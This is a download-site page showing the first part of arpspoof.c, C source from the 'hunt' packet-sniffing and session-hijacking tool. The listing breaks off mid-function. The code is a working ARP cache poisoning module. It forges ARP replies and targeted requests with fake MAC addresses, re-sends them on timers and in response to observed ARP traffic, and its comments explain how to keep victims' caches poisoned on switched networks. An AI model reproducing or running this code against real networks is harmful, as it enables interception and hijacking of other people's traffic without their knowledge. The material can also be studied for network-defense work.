⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 arpspoof.c

📁 linux平台上高级的包嗅探和会话劫持工
💻 C
📖 第 1 页 / 共 3 页
字号:
/* *  *	This is free software. You can redistribute it and/or modify under *	the terms of the GNU General Public License version 2. * * 	Copyright (C) 1998, 1999 by kra *  */#include "hunt.h"#include <sys/time.h>#include <unistd.h>#include <stdlib.h>#include <stdio.h>#include <string.h>#include <time.h>#include <assert.h>#include <signal.h>struct arp_spoof_range {	struct arp_spoof_info **asi;	/* array of pointers */	int 		asi_count;	unsigned int 	dst_start_addr;	unsigned int 	dst_end_addr;	unsigned int	src_addr;	char 		src_fake_mac[ETH_ALEN];	int		refresh;	int		can_forward;	struct arp_spoof_range *next;};static struct list l_arp_spoof = LIST_INIT(struct arp_spoof_info, next);static struct list l_arp_dont_relay = LIST_INIT(struct arp_dont_relay, next);static struct list l_arp_spoof_range = LIST_INIT(struct arp_spoof_range, next);static struct ifunc_item ifunc_arp;static pthread_t relay_thr;static struct ifunc_item ifunc_relay;static struct list l_relay_pkt = LIST_INIT(struct packet, p_next[MODULE_ARP_SPOOF]);static int relayer_running = 0;int arp_request_spoof_through_request = 1;int arp_rr_count = 2;int arp_spoof_switch = 1;int arp_spoof_with_my_mac = 0;int can_forward_question = 0; /* if 0 then can_forward is default to 1 */unsigned char mac_broadcast[ETH_ALEN] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};unsigned char mac_zero[ETH_ALEN]      = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};#if 0static unsigned char mac_test[] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xAA};static void prepare_switch(struct arp_spoof_info *asi){	struct arp_spec as_dst;	struct timespec ts;	int i;		as_dst.src_mac = asi->src_fake_mac;		as_dst.dst_mac = mac_broadcast;	as_dst.oper = htons(ARPOP_REQUEST);	/* request is ARPOP_REQUEST */	as_dst.sender_mac = asi->src_fake_mac;	as_dst.sender_addr = asi->src_addr;	as_dst.target_mac = mac_zero;	as_dst.target_addr = htonl(ntohl(asi->dst_addr) + 1);	for (i = 0; i < arp_rr_count; i++)		send_arp_packet(&as_dst);	ts.tv_sec = 0;	ts.tv_nsec = 100000000;	/* 0.1s */	nanosleep(&ts, NULL);}#endifstatic void send_src_spoof_to_dst(struct arp_spoof_info *asi){	struct arp_spec as_dst;	int i;		if (!asi->dst_mac_valid) {		fprintf(stderr, "error: try to send arp spoof without known dst mac\n");		return;	}	as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac;	as_dst.dst_mac = asi->dst_mac;	as_dst.oper = htons(ARPOP_REPLY);	/* request is ARPOP_REQUEST */	as_dst.sender_mac = asi->src_fake_mac;	as_dst.sender_addr = asi->src_addr;	as_dst.target_mac = asi->dst_mac;	as_dst.target_addr = asi->dst_addr;	for (i = 0; i < arp_rr_count; i++)		send_arp_packet(&as_dst);}/* * if the ARP entry is in the host arp cache the host updates it even * from ARP request. That means when the first spoofed host send ARP * request for some other machine to broadcast eth mac (with its original * source mac address) it is received by the second spoofed host also  * and that host updates the cache to the right value - so the spoof  * is lost - we have to handle this. *  * Don't send arp request to broadcast eth mac because then * you can influent all caches. */static void send_src_spoof_to_dst_through_request(struct arp_spoof_info *asi, unsigned int ask_addr){	struct arp_spec as_dst;	int i;	if (!asi->dst_mac_valid) {		fprintf(stderr, "error: try to send arp spoof 2 without known dst mac\n");		return;	}	as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac;	as_dst.dst_mac = asi->dst_mac;	/* don't use broadcast - we want that it is received only by the target */	as_dst.oper = htons(ARPOP_REQUEST);	as_dst.sender_mac = asi->src_fake_mac;	as_dst.sender_addr = asi->src_addr;	as_dst.target_mac = mac_zero;	as_dst.target_addr = ask_addr;		for (i = 0; i < arp_rr_count; i++)		send_arp_packet(&as_dst);}int arp_spoof_timejob(void *arg, int arg_sec){	struct arp_spoof_info *asi = (struct arp_spoof_info *) arg;	struct mac_info *mi_dst, *mi_src;		if (!asi->dst_mac_valid) {		if ((mi_dst = mac_info_get(asi->dst_addr))) {			memcpy(asi->dst_mac, mi_dst->mac, ETH_ALEN);			asi->dst_mac_valid = 1;			mac_info_release(mi_dst);		} else {			mac_discover(asi->dst_addr, 1);			/* we will find the mac next time */		}	}	if (!asi->src_mac_valid) {		if ((mi_src = mac_info_get(asi->src_addr))) {			memcpy(asi->src_mac, mi_src->mac, ETH_ALEN);			asi->src_mac_valid = 1;			mac_info_release(mi_src);		} else {			mac_discover(asi->src_addr, 1);			/* we will find the mac next time */		}	}	if (asi->dst_mac_valid) {		send_src_spoof_to_dst(asi);		send_src_spoof_to_dst_through_request(asi, htonl(ntohl(asi->dst_addr) + 1));	}	return arg_sec;}#if 0static void print_arp_request_warning(struct packet *p, struct arpeth_hdr *arpethh){	printf("Warning: ARP REQEUST from %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode));	printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode));	print_eth_mac(p->p_ethh->h_source);	printf(", ethdst=");	print_eth_mac(p->p_ethh->h_dest);	printf(", arpethh_sha=");	print_eth_mac(arpethh->ar_sha);	printf("\n");}#endif/* * this function runs in hunt thread * and sends ARP respons to ARP requests which are now handled by as */static void func_arp(struct packet *p, void *arg){	struct list_iterator li;	struct arphdr *arph;	struct arpeth_hdr *arpethh;	struct arp_spoof_info *asi;	struct timejob *tj;		arph = p->p_arph;	arpethh = (struct arpeth_hdr *)(arph + 1);	if (arph->ar_pro != htons(ETH_P_IP))		return;	/* 	 * we want to send ARP to received request and reply packets	 */#if 0	printf("recieved ARP ");	if (arph->ar_op == htons(ARPOP_REPLY))		printf("REPLY");	else if (arph->ar_op == htons(ARPOP_REQUEST))		printf("REQUEST");	else		printf("UNKNOWN"):	    	printf("for asi: %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode));	printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode));	print_eth_mac(p->p_ethh->h_source);	printf(", ethdst=");	print_eth_mac(p->p_ethh->h_dest);	printf("\n");#endif		list_lock(&l_arp_spoof);	list_iter_set(&li, &l_arp_spoof);	if (arph->ar_op == htons(ARPOP_REPLY)) { /* reply */		while ((asi = list_iter_get(&li))) {			if (*(unsigned int *) arpethh->ar_sip == asi->src_addr &&			    *(unsigned int *) arpethh->ar_tip == asi->dst_addr) {				/* learn mac addresses if we do not have them */				if (!asi->dst_mac_valid) {/*					printf("2 learn dst_mac\n");*/					memcpy(asi->dst_mac, arpethh->ar_tha, ETH_ALEN);					asi->dst_mac_valid = 1;				}				if (!asi->src_mac_valid) {/*					printf("2 learn src_mac\n");*/					memcpy(asi->src_mac, arpethh->ar_sha, ETH_ALEN);					asi->src_mac_valid = 1;				}				if (asi->tj_reply) {					unregister_timejob(asi->tj_reply);					free(asi->tj_reply);					asi->tj_reply = NULL;				}/*				printf("send spoof to reply\n");*/				send_src_spoof_to_dst(asi);			}		}	} else if (arph->ar_op == htons(ARPOP_REQUEST)) { /* request */		/* 		 * some host send ARP probe through REQUEST to direct MAC to see if something		 * changed - in switched network we do not receive these requests (unless the		 * sending host has already fake mac in its table) so the refresh feature is useful		 */		while ((asi = list_iter_get(&li))) {			if (*(unsigned int *) arpethh->ar_sip == asi->dst_addr &&			    *(unsigned int *) arpethh->ar_tip == asi->src_addr) {			/*			 * check if we can learn something			 */				if (!asi->dst_mac_valid) {/*					printf("1 learn dst_mac\n");*/					memcpy(asi->dst_mac, arpethh->ar_sha, ETH_ALEN);#if 0					if (memcmp(arpethh->ar_sha, p->p_ethh->h_source, ETH_ALEN) != 0)						print_arp_request_warning(p, arpethh);#endif					asi->dst_mac_valid = 1;				}				if (!asi->src_mac_valid) {					/* we cannot learn because the request is sent to broadcast mac */					mac_discover(asi->src_addr, 1);				}			/*			 * send the spoof, question is if to do so when we do not have src_mac_valid			 *//*				printf("1 send spoof to request\n");*/				send_src_spoof_to_dst(asi);							/*			 * in switched environment we get the REQEUST 			 * (as it is broadcasted) but the REPLY we don't see 			 * - so we heve to refresh it if we don't see the REPLY			 */				if (asi->tj_reply) {					unregister_timejob(asi->tj_reply);					free(asi->tj_reply);					asi->tj_reply = NULL;				}				tj = malloc(sizeof(struct timejob));				tj->j_func = arp_spoof_timejob;				tj->j_arg = asi;				tj->j_arg_sec = 0;				asi->tj_reply = tj;				register_timejob_milsec_rel(tj, 200); /* 0.2s */			}			/* 			 * the source is asking for arp resolution of some host			 * but the spoof target could update the arp cache when			 * it receives the request (the request is broadcasted),			 * so we have to handle this			 */			if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && 			    asi->dst_mac_valid) {				if (arp_request_spoof_through_request)					send_src_spoof_to_dst_through_request(asi, 						*(unsigned int *) arpethh->ar_tip);				else					send_src_spoof_to_dst(asi);			}			}	} else {		/* neither REQUEST nor REPLY */	}	list_iter_end(&li);	list_unlock(&l_arp_spoof);}/* * for internval use only */static struct arp_spoof_info *get_asi(unsigned int src_addr, unsigned int dst_addr){	struct list_iterator li;	struct arp_spoof_info *asi, *retval;		retval = NULL;	list_iter_set(&li, &l_arp_spoof);	while ((asi = list_iter_get(&li))) {		if (asi->src_addr == src_addr && 		    asi->dst_addr == dst_addr) {			retval = asi;			break;		}	}	list_iter_end(&li);	return retval;}/* * this function is exported to other modules like arphijack * it checks that we have all mac addresses ready */struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr){	struct list_iterator li;	struct arp_spoof_info *asi, *retval;		retval = NULL;	list_iter_set(&li, &l_arp_spoof);	while ((asi = list_iter_get(&li))) {		if (asi->src_addr == src_addr &&		    asi->dst_addr == dst_addr &&		    asi->src_mac_valid && asi->dst_mac_valid) {			retval = asi;			break;		}	}	list_iter_end(&li);	return retval;}struct arp_dont_relay *arp_dont_relay_insert(			unsigned int src_addr, unsigned int dst_addr,			unsigned int src_port, unsigned int dst_port){	struct arp_dont_relay *adr;		adr = malloc(sizeof(struct arp_dont_relay));	assert(adr);	adr->src_addr = src_addr;	adr->dst_addr = dst_addr;	adr->src_port = src_port;	adr->dst_port = dst_port;	list_push(&l_arp_dont_relay, adr);	return adr;}void arp_dont_relay_remove(struct arp_dont_relay *adr){	list_remove(&l_arp_dont_relay, adr);	free(adr);}static void asi_want(struct arp_spoof_info *asi){	pthread_mutex_lock(&asi->mutex);	asi->lock_count++;	pthread_mutex_unlock(&asi->mutex);}static void asi_release(struct arp_spoof_info *asi){	pthread_mutex_lock(&asi->mutex);	if (--(asi->lock_count) == 0)		pthread_cond_broadcast(&asi->lock_cond);	pthread_mutex_unlock(&asi->mutex);}static void asi_wait_for_release(struct arp_spoof_info *asi){	pthread_mutex_lock(&asi->mutex);	while (asi->lock_count > 0)		pthread_cond_wait(&asi->lock_cond, &asi->mutex);	pthread_mutex_unlock(&asi->mutex);}struct arp_spoof_info *start_arp_spoof(unsigned int src_addr,				       unsigned int dst_addr,		char *src_mac, char *dst_mac, char *src_fake_mac,		int refresh, int can_forward, int in_range){	struct arp_spoof_info *asi, *tmp;	struct timespec ts;	struct timejob *tj;	struct list_iterator li;	int i;		if ((asi = get_asi(src_addr, dst_addr))) {		if (!asi->dst_mac_valid && dst_mac) {			memcpy(asi->dst_mac, dst_mac, ETH_ALEN);			asi->dst_mac_valid = 1;		}		if (!asi->src_mac_valid && src_mac) {			memcpy(asi->src_mac, src_mac, ETH_ALEN);			asi->src_mac_valid = 1;		}		asi->use_count++;		return asi;	}	if (!src_fake_mac)		return NULL;		if (list_count(&l_arp_spoof) == 0) {		ifunc_arp.func = func_arp;		ifunc_arp.arg = NULL;		list_enqueue(&l_ifunc_arp, &ifunc_arp);	}	asi = malloc(sizeof(struct arp_spoof_info));	assert(asi);	memset(asi, 0, sizeof(struct arp_spoof_info));	pthread_mutex_init(&asi->mutex, NULL);	pthread_cond_init(&asi->lock_cond, NULL);	asi->lock_count = 0;		asi->use_count = 1;	asi->refresh = refresh;	asi->tj_refresh = NULL;	asi->tj_reply = NULL;		asi->src_addr = src_addr;	asi->dst_addr = dst_addr;		memcpy(asi->src_fake_mac, src_fake_mac, ETH_ALEN);	if (dst_mac) {		memcpy(asi->dst_mac, dst_mac, ETH_ALEN);		asi->dst_mac_valid = 1;	} else		asi->dst_mac_valid = 0;	if (src_mac) {		memcpy(asi->src_mac, src_mac, ETH_ALEN);		asi->src_mac_valid = 1;	} else		asi->src_mac_valid = 0;	asi->can_forward = can_forward;	asi->in_range = in_range;	/*	prepare_switch(asi); */		if (asi->dst_mac_valid) {		send_src_spoof_to_dst(asi);		send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1));			if (arp_spoof_switch) {			ts.tv_sec = 0;			ts.tv_nsec = 100000000;	/* 0.1s */			nanosleep(&ts, NULL);			send_src_spoof_to_dst(asi);			send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1));		}	}	/*	 * insert the asi with range at the end of the l_arp_spoof list and	 * asi without range before asi with range	 */	if (in_range) {		list_enqueue(&l_arp_spoof, asi);	} else {		i = 0;		list_iter_set(&li, &l_arp_spoof);		while ((tmp = list_iter_get(&li))) {			if (tmp->in_range)				break;			i++;		}		list_iter_end(&li);		list_insert_at(&l_arp_spoof, i, asi);	}	if (refresh) {		tj = malloc(sizeof(struct timejob));		assert(tj);		tj->j_func = arp_spoof_timejob;		tj->j_arg = asi;		tj->j_arg_sec = refresh;		asi->tj_refresh = tj;		register_timejob_rel(tj, refresh);	} else		asi->tj_refresh = NULL;	return asi;}void force_arp_spoof(struct arp_spoof_info *asi, int count)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -